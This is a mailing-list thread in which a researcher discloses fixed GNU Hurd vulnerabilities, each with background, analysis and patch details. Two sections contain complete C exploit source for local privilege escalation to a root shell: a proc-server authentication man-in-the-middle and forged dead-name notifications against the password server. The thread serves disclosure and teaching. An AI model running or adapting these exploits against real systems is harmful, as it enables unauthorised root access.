• [VULN 0/4] Hurd vulnerability details

    From Sergey Bugaev@21:1/5 to All on Tue Nov 2 17:50:01 2021
    Hello!

    As promised [0], here are the details of the Hurd vulnerabilities I have found earlier this year [1] [2].

    [0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html
    [1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
    [2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html

    (You'll notice that I'm formatting this just like a patch series. I'll even try to send it out with git send-email; if you're reading this, it has worked!)

    These texts are partly based on the mails and write-ups I sent to Samuel at the time, but most of the text is new, rewritten to incorporate the better understanding that I now have as the result of exploring the issues and working with Samuel on fixing them.

    I've grouped the information by the four "major" vulnerabilities -- ones that I have actually written an exploit for. Other related vulnerabilities are briefly mentioned in the notes sections.

    Each text contains a short and a detailed description of the relevant issue, source code of the exploit I have written for the issue, commentary on how the exploit works, and a description of how we fixed the issue. While this should hopefully be an interesting read for everyone, understanding some of the details
    requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
    to briefly describe the necessary bits (as I understand them myself) in the "Background" sections throughout the texts -- hopefully this will make it easier
    to understand. Please don't hesitate to ask me questions (while I can still answer them)!

    I also hope that all this info should be enough to finally allocate official CVEs for these vulnerabilities, if anyone is willing to go forward with that in my absence.

    While all of the vulnerabilities described have been fixed, most of the fixes are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright assignment process is still unfinished. All the out-of-tree patches with the fixes can be found in the Debian repo [3].

    [3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches

    Our work on fixing these vulnerabilities required some large changes and touches
    most of the major Hurd components (now I can actually name them: glibc, GNU Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server, exec server, *fs, ...) -- and this was even more true of the previous designs that we have considered (the final design ended up being the most compact one). Still, it's kind of amazing _how little_ has changed: we managed to keep most things working just as they were (with the notable exception of mremap ()). The Hurd still looks and behaves like the Hurd, despite all the changes.

    Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
    There's another "major" vulnerability that I have already written an exploit for, but I can't publish the details since it's still unfixed. I won't be there to see it fixed (assuming it will take less than a year to fix it -- which I hope it will), but Samuel should have all the details.

    Let me know what you think!

    Sergey

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Sergey Bugaev@21:1/5 to All on Tue Nov 2 17:50:03 2021
    Short description
    =================

    The use of authentication protocol in the proc server is vulnerable to man-in-the-middle attacks, which can be exploited for local privilege escalation
    to get full root access to the system.


    Background: authentication
    ==========================

    Here, the word "authentication" refers not to a human user signing in to the system, but rather to a component of the system communicating and proving its authority to another component of the system. For example, to be able to open and read a file, a client process may need to convince the translator which provides the file that the client has the appropriate UIDs to be allowed to access the file. Essentially, the Hurd authentication mechanism serves to bridge
    the capability system of Mach with the *ambient authority* system of Unix UIDs.

    To make the rest of the description easier to follow, I'm going to name the involved actors, as is commonly done in literature [0]:

    * Alice is a client process who wishes to authenticate itself
    * Bob is a server process who's accepting authentication
    * Carol is the Hurd auth server

    [0]: https://en.wikipedia.org/wiki/Alice_and_Bob

    The Hurd represents authority as _auth handles_, which are ports to the auth server (Carol); each auth handle corresponds to a set of UIDs (and GIDs) maintained by Carol. For Alice to authenticate itself to Bob means her demonstrating (and proving) to Bob that she has an auth handle with a given set of UIDs. A straightforward way to do that would be for Alice to send her auth handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents).
    However, giving Bob direct access to the auth handle is completely unacceptable,
    because Alice may actually be more privileged than Bob: for instance, Alice may be a root-owned process who reads a file from a file system implemented by Bob, an unprivileged translator. The mere act of Alice authenticating herself should not result in Bob getting root access.

    So the Hurd authentication mechanism is instead designed as a three-way handshake between Alice, Bob, and Carol:

    1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right;
    this port right does not have to be anything special, but the two sides need
    to be in agreement about what it is. The typical way this works is that Alice
    creates a fresh new port to serve as the rendezvous port, and initiates the
    authentication process by sending the rendezvous port to Bob in a
    foo_reauthenticate () RPC call.

    2. Next, Alice "shakes hands" with Carol the auth server by sending her the
    rendezvous port in a auth_user_authenticate () RPC call on her auth handle.

    3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob
    also "shakes hands" with Carol by also sending her the rendezvous port in a
    auth_server_authenticate () RPC call.

    Carol matches up the two calls by the rendezvous port and returns Alice's UIDs (but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since she's the trusted system auth server), he now reliably knows Alice's UIDs, but he never got access to her auth handle.

    Note: the role the rendezvous port plays in this is in a way similar to a single-use read-only auth handle.


    Background: man-in-the-middle attacks
    =====================================

    The design described above still has a fatal flaw: the possibility of man-in-the-middle attacks. Let's imagine there's another process, Eve, who stands in between Alice and Bob; so Alice is not talking to Bob directly, but rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would perhaps be more correct to name the attacker Mallory rather than Eve, but I've been thinking of her as of Eve for multiple years now, so I'll stick with that name.)

    Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve,
    instead of sending the port to Carol the auth server in a auth_server_authenticate () call, forwards the port to Bob in her own foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to belong to Eve, since it's her who has been interacting with him. And so, Eve has
    now effectively stolen Alice's identity.

    Knowing that this could happen, Bob has to be aware that the UIDs Carol tells him about may not, in fact, belong to the client who has initiated the authentication process with him (Eve), they may instead belong to someone else (Alice) who's being man-in-the-middle-attacked.

    To make this work, the Hurd authentication protocol has one more feature: the _new port_ mechanism. This new port is a port right that Bob may pass back to Alice through Carol. Bob passes this new port to auth_server_authenticate (), and Alice receives it from auth_user_authenticate (). In case of a man-in-the-middle attack, it is Alice -- the actual owner of those UIDs that Bob
    sees -- who receives this new port, not Eve, who has been interacting with Bob and has initiated the authentication process. In other words, while Eve might be
    able to play a man-in-the-middle up and until the authentication, once the authentication is complete Alice and Bob will have a direct connection that doesn't go through Eve, and it's this new connection that their further communication should go through. (Exercise for the reader: if so, how is it possible that rpctrace, the ultimate man-in-the-middle eavesdropping tool, continues tracing calls on the new port after reauthentication just fine?)

    As a consequence of this design, after the authentication, Bob should not trust the original port -- the one foo_reauthenticate () has been called on -- any more than he had trusted it before, because the port may still belong to Eve, not Alice. Instead, Bob should trust the new port he has created and passed to Alice, because he knows that this port is actually Alice's, not Eve's.


    Background: uses of authentication
    ==================================

    There are two protocols that use authentication in the Hurd: the I/O protocol and the process protocol.

    Filesystem translators typically structure their internal data model in such a way that an io_t port refers to a "protid", that is, to a structure containing authority information and a reference to a "peropen", which in turn contains things like open flags and the current file offset, and in turn points to the actual filesystem node. Multiple peropens can be made that refer to the same file (if the file is opened multiple times). Multiple protids can be made that refer to the same peropen, differing in authority, with the io_reauthenticate ()
    call. A port to the new protid, having the new set of UIDs, is the _new port_ passed to the authenticating client through the auth server; the old protid is not altered in any way, in full accordance with the reasoning presented above.

    The other place where authentication is used is processes authenticating themselves to the proc server. There can only be a single process port for one process, not multiple differently authenticated ones, so the proc server does not use the _new port_ mechanism and instead updates its idea of which UIDs the process has directly.

    In the case of proc_reauthenticate () it is fine that the new port mechanism is unused, since, while you generally can't trust the translators you interact with, processes trust the proc server to not play man-in-the-middle attacks against them (indeed, the process server already has their task ports and therefore complete access to anything that they have). Or in other terms, Alice the client can be sure she's talking to Bob the proc server, and not to Eve, since the connection is trusted.


    The issue
    =========

    The justification presented in the above paragraph is actually insufficient. It is still possible to exploit the fact that proc_reauthenticate () updates its idea of process auth in-place instead of creating a separate new port.

    Even though it's true that Alice knows for sure that she's talking to Bob the proc server, Bob cannot be sure he's indeed talking to Alice (the owner of the UIDs Bob gets from Carol), not Eve. It may be the case that Alice has been authenticating to Eve for an entirely different reason -- specifically, Eve may pose as a translator, and Alice may be a client of hers -- and Eve may have forwarded Alice's rendezvous port to Bob the proc server, saying she wishes to reauthenticate her process. Since there's nothing about rendezvous ports, nor about the auth_{user,server}_authenticate () APIs, that identifies what kind of port (process, or I/O, or potentially something else) is being reauthenticated, it's entirely possible to forward a rendezvous port created for reauthenticating
    an I/O handle to the proc server who expects to reauthenticate a process.


    The exploit
    ===========

    To exploit this, we basically have to implement the Eve side of the man-in-the-middle attack against the proc server, and trick some privileged Alice into authenticating to us.

    To get someone privileged to authenticate to me, I went with the same exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the processes file descriptors. If we place our own port among the file descriptors,
    we'll get a io_reauthenticate () call from the root filesystem on it, which we'll forward to the proc server, pretending to reauthenticate our process.

    We launch a separate thread that will call _hurd_exec_paths (), which will block
    until the exec is complete; we listen for messages sent to our fake file descriptor port on the main thread. Once we're done with these shenanigans, it's
    a good idea to close the file descriptor back, in order for it to not create more troubles for us when we _actually_ start reauthenticating our file descriptors during the setauth () call.


    Exploit source code
    ===================

    #include <mach/mach.h>
    #include <stdio.h>
    #include <error.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <pthread.h>
    #include <hurd.h>
    #include <hurd/paths.h>
    #include <hurd/msg.h>

    #include "ioServer.h"

    int ok_to_continue = 0;
    pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
    pthread_cond_t cond = PTHREAD_COND_INITIALIZER;

    kern_return_t
    S_io_reauthenticate (mach_port_t io,
    mach_port_t rend)
    {
    auth_t root_auth;
    process_t proc = getproc ();
    error_t err;
    task_t pid1_task;
    mach_port_t pid1_msgport;

    err = proc_reauthenticate (proc, rend, MACH_MSG_TYPE_MOVE_SEND);
    if (err)
    error (1, err, "proc_reauthenticate");

    sleep (2);

    pid1_task = pid2task (1);
    if (!pid1_task)
    error (1, errno, "pid2task");

    err = proc_getmsgport (proc, 1, &pid1_msgport);
    if (err)
    error (1, err, "proc_getmsgport");

    err = msg_get_init_port (pid1_msgport, pid1_task,
    INIT_PORT_AUTH, &root_auth);
    if (err)
    error (1, err, "msg_get_init_port");

    fprintf (stderr, "Got root auth port :)\n");

    pthread_mutex_lock (&mutex);
    while (!ok_to_continue)
    pthread_cond_wait (&cond, &mutex);
    pthread_mutex_unlock (&mutex);

    err = setauth (root_auth);
    if (err)
    error (1, err, "setauth");

    if (setresuid (0, 0, 0) < 0)
    error (0, errno, "setresuid");
    if (setresgid (0, 0, 0) < 0)
    error (0, errno, "setresgid");

    execl ("/bin/bash", "/bin/bash", NULL);
    error (1, errno, "failed to exec bash");
    }

    mach_port_t port;

    void *
    thread_fn (void *meh)
    {
    error_t err;
    task_t child;
    file_t su;
    int fd;

    fd = openport (port, 0);

    su = file_name_lookup ("/bin/su", O_EXEC, 0);
    if (err)
    error (1, err, "file_name_lookup");

    err = task_create (mach_task_self (), 0, &child);
    if (err)
    error (1, err, "task_create");

    err = _hurd_exec_paths (child, su,
    "/bin/su", "bin/su",
    NULL, NULL);
    if (err)
    error (1, err, "_hurd_exec_paths");

    close (fd);

    pthread_mutex_lock (&mutex);
    ok_to_continue = 1;
    pthread_mutex_unlock (&mutex);
    pthread_cond_signal (&cond);

    sleep (10000);
    }

    extern boolean_t
    io_server (mach_msg_header_t *inp,
    mach_msg_header_t *outp);

    int
    main ()
    {
    error_t err;
    pthread_t thread;

    port = mach_reply_port ();

    err = mach_port_insert_right (mach_task_self (),
    port, port,
    MACH_MSG_TYPE_MAKE_SEND);
    if (err)
    error (1, err, "mach_port_insert_right");

    err = pthread_create (&thread, NULL, thread_fn, NULL);
    if (err)
    error (1, err, "pthread_create");

    mach_msg_server (io_server, 1024, port);
    }


    Notes
    =====

    To build the exploit from source, you'll need to generate ioServer.c and ioServer.h using MIG. A condition variable is probably an overkill for closing a
    file descriptor, but the exploit does not aspire to be optimal in any way, it just needs to successfully give me a root shell :)

    Amusingly enough, authenticating to the proc server could instead be done as simply as

    routine proc_reauthenticate (
    process: process_t;
    auth: auth_t);

    i.e. by simply sending an auth handle to the proc server, since, again, we know for sure that the process server won't try to steal our auth, and it has no need
    to. This would avoid *so* much of all these complications.

    Also, I believe that it would, in theory, be possible to rearchitecture the proc
    server to support multiple differently authenticated ports to the same process (like protids in translators), while keeping calls like proc_pid2proc () and proc_task2proc () working in a somewhat reasonable way. But I'm not at all convinced that attempting this would be a good idea.


    How we fixed the vulnerability
    ==============================

    Conceptually, we want to make sure that Alice is indeed reauthenticating her process, and not authenticating for some other reason. If she is, we know for sure that she's talking to the proc server directly and there's no Eve to worry about. To this end, we've made two changes:

    * proc_reauthenticate () now creates a new port for the process and sends it to
    Alice via the new port mechanism. The old port is destroyed.

    * There's a new RPC, proc_reauthenticate_complete (), which Alice has to call
    after receiving the new process port. This is how she confirms that she is
    indeed reauthenticating her process.

    Only recreating the process port would not be enough. This is because, even though the new port is reliably sent to Alice and not Eve, Eve would still be able to get the new port. To do this, she would only need some other process handle, on which she'd call proc_task2proc () passing her task port.

    In the actual design, Eve wouldn't be able to access the new port this way, because no changes to the process port or credentials are committed until and unless the proc_reauthenticate_complete () call is received on the new port.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Sergey Bugaev@21:1/5 to All on Tue Nov 2 17:50:02 2021
    Short description
    =================

    libports accepts fake notification messages from any client on any port, which can lead to port use-after-free, which can be exploited for local privilege escalation to get full root access to the system.


    Background: Mach notifications
    ==============================

    The Mach kernel has a mechanism to let a task know when various things happen to
    ports that it has. Specifically, a task can request to be notified when a specific port dies by using the mach_port_request_notification () RPC, which is documented here [0].

    [0]: https://www.gnu.org/software/hurd/gnumach-doc/Request-Notifications.html

    There are several _variants_, or _flavors_, of notifications. We're interested in two of them:

    * MACH_NOTIFY_NO_SENDERS (aka no-senders), which a task can request on a receive
    right that it owns. It will be notified once all the send rights to the port
    are gone, so there's no one left who could send more messages to the port
    (assuming we also know that there are no more send-once rights, or don't care
    about them). This is kind of like receiving EOF on the read end of a Unix pipe
    once the write end is closed by all the potential writers.

    * MACH_NOTIFY_DEAD_NAME (aka dead-name), which a task can request on a send or
    send-once right that it has. It will be notified if the port is destroyed by
    its owner and the right that the task had turns into a dead name. This is kind
    of like receiving SIGPIPE/EPIPE when trying to write into the write end of a
    "broken" Unix pipe (one whose read end has been closed).

    The notifications are naturally delivered to the task as Mach messages, namely the mach_notify_* () RPCs. It's up to the requesting task to specify where (on which port) it wants the notification delivered. The no-senders notification for
    a port is typically requested to the port itself, since it's a about a receive right (so it is possible to receive it on the port itself), and also because the
    no-senders message does not otherwise specify an explicit port name.

    The dead-name notification cannot be requested to the port itself, so it's typically requested to some other related port. The dead-name notification carries the name of the port that has turned into the dead name. Importantly, it
    only carries a name as an integer -- not a port right -- since a dead name right
    carried in a message gets received as MACH_PORT_DEAD (-1), which would be rather
    useless to the receiver.

    To prevent potential races between processing the notification and the now-dead name getting deallocated and reused for another right, the dead-name notification "carries" an extra reference to the dead name that the receiving task should deallocate _as if_ the message actually carried a right, not a name.
    (A cleaner alternative design would be to make this all a userspace concern, i.e. it would be up to userspace to keep an extra reference to the right it wants to get dead-name notifications about. Exercise for the reader: why wouldn't that work?)


    Background: libports
    ====================

    libports is a core library of the Hurd that wraps the Mach ports API into a higher-level interface. libports is used by most of the Hurd servers (everything
    except /hurd/startup, I believe). libports lets the program associate any custom
    data (object) with a receive right, and provides the API to look up the object by the port and the other way around.

    libports objects (struct port_info-s) are reference counted; once all the references go away, the custom data is cleared and the port right is deallocated. An object can be referenced explicitly (by other objects, perhaps),
    and in addition libports "factors in" outstanding send rights to the port as another reference to the object. So, an object will be alive as long as there are in-process references to it *or* send rights to its port.

    To track when send rights to a port disappear, libports requests no-senders notifications for the port, and once a notification arrives, libports automatically decrements the object reference count.

    libports also provides a wrapper for the dead-name notifications: you call ports_interrupt_self_on_port_death (object, port_name), and libports will request a dead-name notification for the port_name, and cancel your thread if the port dies. This is typically used to cancel waiting RPC implementations (such as a read on a pipe) if the reply port dies.


    The issue
    =========

    The notification messages are implicitly handled by libports as follows:

    error_t
    ports_do_mach_notify_no_senders (struct port_info *pi,
    mach_port_mscount_t count)
    {
    if (!pi)
    return EOPNOTSUPP;
    ports_no_senders (pi, count);
    return 0;
    }

    error_t
    ports_do_mach_notify_dead_name (struct port_info *pi,
    mach_port_t dead_name)
    {
    if (!pi)
    return EOPNOTSUPP;
    ports_dead_name (pi, dead_name);

    /* Drop gratuitous extra reference that the notification creates. */
    mach_port_deallocate (mach_task_self (), dead_name);

    return 0;
    }

    where ports_no_senders () and ports_dead_name () are the actual handler functions. The only thing libports checks about the incoming notification messages is that they arrive on some libports-managed port (represented by struct port_info). Which means that ANYONE who has a send right to a libports-managed port can send a fake notification message to it, and libports will happily handle it as if it was a real message coming from the kernel.

    If one sends a fake no-senders notification, libports will decrement refcount of
    the object, and likely deallocate it completely, destroying the port. This is a denial-of-service attack: any task that has a send right to a port can trivially
    cause the receive right to get destroyed, turning the right into a dead name for
    itself *and for everyone else who had this right*. This would have a catastrophic effect if used on a pager port, for example, since the same pager is shared between everyone who maps the same file.

    Now, the dead-name notification message only carries the port name (an integer),
    so we can trick the victim task into believing that any port of our choosing is dead; the attacker task doesn't have to have access to the port. We have to guess the port name in the victim task, which is easy since GNU Mach doesn't do any sort of port name randomization. This is also a denial-of-service attack.

    But this goes so much further. Since the dead-name notification handler deallocates the "gratuitous" reference to the port (as it should), this turns into a "please deallocate this port name" primitive! And if we send a fake dead-name notification for some port that the task never actually requested a notification for, the handler will do nothing other than deallocating the port, and the rest of the task will *keep thinking it has the port*, and keep trying to use it.

    A port use-after-free, in pretty much any Hurd server, for any port of our choosing, with 100% reproducibility and no races to win! It's hard to overstate just how cool this is.


    The exploit
    ===========

    A port use-after-free can be exploited pretty much like a regular (memory) use-after-free: the attacker plants a different port in the victim task under the same name, then triggers the use-after-free; the victim uses the attacker's port without realizing it.

    Planting a port in another task under the just-freed name also turned out to be very easy due to the predictable nature of how GNU Mach allocates port names: Mach seems to always allocate the numerically smallest unused name, so after an "old" name is freed, normally the very first port you send to the victim task will get the desired name.

    I chose the password server as the target task to attack, primarily because giving out root auth ports is its intended purpose. If we trick it into believing we supply a correct password, we'll get a root auth port. To check the
    client-supplied password for correctness, the password server fetches the user record using getpwuid_r () which is implemented on top of glibc NSS. The NSS can
    do a lot of things, but the primary source of user data is reading the /etc/passwd and /etc/shadow files. So my plan was to steal the name used for the
    root directory port, and get the password server to ask me back about /etc/passwd.

    Empirically, the password server uses port name 6 for its root directory. So the
    exploit works like this:

    * First, query the password server using any (invalid) password. This is just to
    get it to load the NSS modules before we mess with its root directory port.

    * Then, ask it to deallocate its port right named 6.

    * Query it with any password, supplying a send (instead of the usual send-once)
    right for the reply port. If we're lucky, the reply port is going to get the
    just freed name 6.

    * Wait for the password server to respond with a dir_lookup ("etc/passwd")
    query, instead of the reply to our password query. If it does, this indicates
    that our exploit has succeeded.

    * Reply with whatever info we want :)

    Since the password server will happily give out root access to anyone if the root account can not be found, I simply replaced /etc/passwd with an empty file,
    namely /dev/null. This way, the exploit doesn't even have to implement any more callbacks.


    Exploit source code
    ===================

    #include <stdio.h>
    #include <unistd.h>
    #include <error.h>
    #include <stdlib.h>
    #include <string.h>
    #include <hurd.h>
    #include <hurd/paths.h>
    #include <hurd/password.h>
    #include <mach/mig_support.h>

    kern_return_t
    hax_mach_notify_dead_name (mach_port_t port, mach_port_t name)
    {
    struct request
    {
    mach_msg_header_t header;
    mach_msg_type_t name_type;
    mach_port_t name;
    };

    struct request request =
    {
    .header =
    {
    .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0),
    .msgh_remote_port = port,
    .msgh_local_port = MACH_PORT_NULL,
    .msgh_id = 72,
    .msgh_size = sizeof request,
    },
    .name_type =
    {
    .msgt_name = MACH_MSG_TYPE_PORT_NAME,
    .msgt_size = 32,
    .msgt_number = 1,
    .msgt_inline = 1,
    },
    .name = name,
    };

    extern kern_return_t
    mach_msg_send (const mach_msg_header_t *);

    return mach_msg_send (&request.header);
    }

    kern_return_t
    hax_password_check_user (io_t server, uid_t user,
    const char *pw, mach_port_t *authn)

    {
    mach_msg_return_t ret;
    mach_port_t reply_port = mig_get_reply_port ();

    struct pcu_request
    {
    mach_msg_header_t header;
    mach_msg_type_t user_type;
    uid_t user;
    mach_msg_type_t pw_type;
    string_t pw;
    };

    struct pcu_reply
    {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t authn_type;
    mach_port_t authn;
    };

    struct dl_request
    {
    mach_msg_header_t header;
    mach_msg_type_t file_name_type;
    string_t file_name;
    mach_msg_type_t flags_type;
    int flags;
    mach_msg_type_t mode_type;
    mode_t mode;
    };

    struct dl_reply
    {
    mach_msg_header_t header;
    mach_msg_type_t ret_code_type;
    kern_return_t ret_code;
    mach_msg_type_t do_retry_type;
    retry_type do_retry;
    mach_msg_type_t retry_name_type;
    string_t retry_name;
    mach_msg_type_t result_type;
    mach_port_t result;
    };

    union {
    mach_msg_header_t header;
    struct pcu_request pcu_request;
    struct pcu_reply pcu_reply;
    struct dl_request dl_request;
    struct dl_reply dl_reply;
    } message;

    message.pcu_request = (struct pcu_request)
    {
    .header =
    {
    .msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND),
    .msgh_remote_port = server,
    .msgh_local_port = reply_port,
    .msgh_id = 38000,
    .msgh_size = sizeof (struct pcu_request),
    },
    .user_type =
    {
    .msgt_name = MACH_MSG_TYPE_INTEGER_32,
    .msgt_size = 32,
    .msgt_number = 1,
    .msgt_inline = 1
    },
    .user = user,
    .pw_type =
    {
    .msgt_name = MACH_MSG_TYPE_STRING_C,
    .msgt_size = 8,
    .msgt_number = 1024,
    .msgt_inline = 1,
    },
    };
    strncpy (message.pcu_request.pw, pw, 1024);

    while (1)
    {
    ret = mach_msg (&message.header, MACH_SEND_MSG|MACH_RCV_MSG,
    message.header.msgh_size, sizeof message,
    reply_port,
    MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    if (ret)
    return ret;

    if (message.header.msgh_id == 20018)
    {
    /* This is dir_lookup (). */
    file_t dev_null;
    dev_null = file_name_lookup ("/dev/null", message.dl_request.flags,
    message.dl_request.mode);

    message.dl_reply.header.msgh_bits = MACH_MSGH_BITS_COMPLEX
    | MACH_MSGH_BITS (MACH_MSG_TYPE_MOVE_SEND_ONCE, 0);
    message.dl_reply.header.msgh_local_port = MACH_PORT_NULL;
    message.dl_reply.header.msgh_id = 20118;
    message.dl_reply.header.msgh_size = sizeof (struct dl_reply);

    memset (&message.dl_reply.ret_code_type, 0, sizeof (mach_msg_type_t));
    message.dl_reply.ret_code_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
    message.dl_reply.ret_code_type.msgt_size = 32;
    message.dl_reply.ret_code_type.msgt_number = 1;
    message.dl_reply.ret_code_type.msgt_inline = 1;

    message.dl_reply.ret_code = MACH_PORT_VALID (dev_null) ? 0 : errno;

    memset (&message.dl_reply.do_retry_type, 0, sizeof (mach_msg_type_t));
    message.dl_reply.do_retry_type.msgt_name = MACH_MSG_TYPE_INTEGER_32;
    message.dl_reply.do_retry_type.msgt_size = 32;
    message.dl_reply.do_retry_type.msgt_number = 1;
    message.dl_reply.do_retry_type.msgt_inline = 1;

    message.dl_reply.do_retry = FS_RETRY_NORMAL;

    memset (&message.dl_reply.retry_name_type, 0, sizeof (mach_msg_type_t));
    message.dl_reply.retry_name_type.msgt_name = MACH_MSG_TYPE_STRING_C;
    message.dl_reply.retry_name_type.msgt_size = 8;
    message.dl_reply.retry_name_type.msgt_number = 1024;
    message.dl_reply.retry_name_type.msgt_inline = 1;

    memset (message.dl_reply.retry_name, 0, 1024);

    memset (&message.dl_reply.result_type, 0, sizeof (mach_msg_type_t));
    message.dl_reply.result_type.msgt_name = MACH_MSG_TYPE_MOVE_SEND;
    message.dl_reply.result_type.msgt_size = 32;
    message.dl_reply.result_type.msgt_number = 1;
    message.dl_reply.result_type.msgt_inline = 1;

    message.dl_reply.result = dev_null;
    continue;
    }

    if (message.header.msgh_id != 38100)
    return MIG_REPLY_MISMATCH;

    if (message.pcu_reply.ret_code != 0)
    return message.pcu_reply.ret_code;

    *authn = message.pcu_reply.authn;
    return 0;
    }
    }

    int
    main ()
    {
    error_t err;
    file_t password_server;
    auth_t root_auth;

    password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
    if (!MACH_PORT_VALID (password_server))
    error (1, errno, "failed to open");

    /* Start by forcing the password server to load all nss modules. */
    password_check_user (password_server, 0, "hax", &root_auth);

    err = hax_mach_notify_dead_name (password_server, 6);
    if (err)
    error (1, err, "failed to notify");

    do
    {
    err = hax_password_check_user (password_server, 0,
    "hax", &root_auth);
    if (err)
    {
    error (0, err, "failed to get root auth port");
    sleep (1);
    }
    }
    while (err);

    fprintf (stderr, "Got root auth port :)\n");

    err = setauth (root_auth);
    if (err)
    error (1, err, "failed to setauth");

    execl ("/bin/bash", "/bin/bash", NULL);
    error (1, errno, "failed to exec bash");
    }


    Notes
    =====

    A similar exploit in OS X was reported by Ian Beer in 2016 (CVE-2016-7661). Once
    I saw that libports similarly accepts mach_notify_* () on ports exposed to users, I knew which way to dig.

    There are (or were) other related vulnerabilities in the Hurd. The startup server was always deallocating a client-supplied port [1] (MIG routines are only
    supposed to take ownership of the resources in the message when they return success) -- a port double-free, which could potentially be escalated to port use-after-free. The memory proxy implementation inside GNU Mach was also vulnerable to fake notification messages, much like libports [2].

    [1]: https://git.savannah.gnu.org/cgit/hurd/hurd.git/commit/?id=b011199cf330b90483b312c57f25c90a31f2577b
    [2]: https://git.savannah.gnu.org/cgit/hurd/gnumach.git/commit/?id=a277e247660a38c5e10c7ddc7916954f8283c8eb

    It would be harder to exploit port use-after-free vulnerabilities if GNU Mach implemented port name randomization, similarly to how ASLR is used to mitigate exploits based on memory safety issues.


    How we fixed the vulnerability
    ==============================

    We have considered several potential designs to fix the libports notifications issue, and I have actually implemented a few different versions. Here's the design we ended up with.

    For no-senders notifications, the fix [3] is to treat notifications as *hints*, and check the port status explicitly upon receiving a notification. If the notification is fake and there still are senders to the port, we'll just do nothing.

    [3]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0011-libports-Treat-no-senders-notifications-as-a-hint.patch

    For dead-name notifications, while we could similarly check if the name is indeed dead, that doesn't save us from the real trouble: we still need to know whether to deallocate the extra reference (if the notification is coming from the kernel) or not (if it's fake). To cope with this, we now create and use a special designated port ("notify port") for requesting and receiving dead-name notifications. This port is never ever exposed to any clients; only the kernel can send messages to it. Thus, any notification received on this port must be authentic.

    libports now automatically creates a notify port in each bucket [4], and only accepts dead-name notifications received on this port [5]. There's a new ports_request_dead_name_notification () helper [6] for requesting a notification
    to the notify port. This actually ends up making code more ergonomic, not less! -- which is something that I'm a little bit proud of, since the previous designs
    complicated code all over the place quite a bit.

    [4] https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0012-libports-Create-a-notify_port-in-each-bucket.patch
    [5]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0025-libports-Only-accept-dead-name-notifications-on-noti.patch
    [6]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0014-libports-Add-ports_request_dead_name_notification.patch

    All the Hurd servers and libraries were then updated to use this new libports functionality. In some specific cases where we cannot use libports, we have to carefully think about who can send us fake notifications [7].

    [7]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0021-libfshelp-Update-some-comments.patch

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Samuel Thibault@21:1/5 to All on Tue Nov 2 18:00:02 2021
    Hello,

    Thanks a lot for this writing! That'll surely be an interesting read for whoever wants to look a bit at the details of how the Hurd works. And of
    course thanks for finding and fixing the vulnerabilities :)

    Samuel

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Vasileios Karaklioumis@21:1/5 to All on Tue Nov 2 21:40:02 2021
    Fantastic work and writeup.

    Apologies for interjecting here.

    On Tue, Nov 2, 2021 at 6:54 PM Samuel Thibault <samuel.thibault@gnu.org>
    wrote:

    Hello,

    Thanks a lot for this writing! That'll surely be an interesting read for whoever wants to look a bit at the details of how the Hurd works. And of course thanks for finding and fixing the vulnerabilities :)

    Samuel



    --
    V. G. Karaklioumis

    <div dir="ltr"><div dir="ltr">Fantastic work and writeup. <div><br></div><div>Apologies for interjecting here.</div></div><br><div class="gmail_quote"><div dir="ltr" class="gmail_attr">On Tue, Nov 2, 2021 at 6:54 PM Samuel Thibault &lt;<a href="mailto:
    samuel.thibault@gnu.org">samuel.thibault@gnu.org</a>&gt; wrote:<br></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">Hello,<br>

    Thanks a lot for this writing! That&#39;ll surely be an interesting read for<br>
    whoever wants to look a bit at the details of how the Hurd works. And of<br> course thanks for finding and fixing the vulnerabilities :)<br>

    Samuel<br>

    </blockquote></div><br clear="all"><div><br></div>-- <br><div dir="ltr" class="gmail_signature"><div dir="ltr"><div>V. G. Karaklioumis</div></div></div></div>

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Guy-Fleury Iteriteka@21:1/5 to Sergey Bugaev on Tue Nov 2 23:20:01 2021
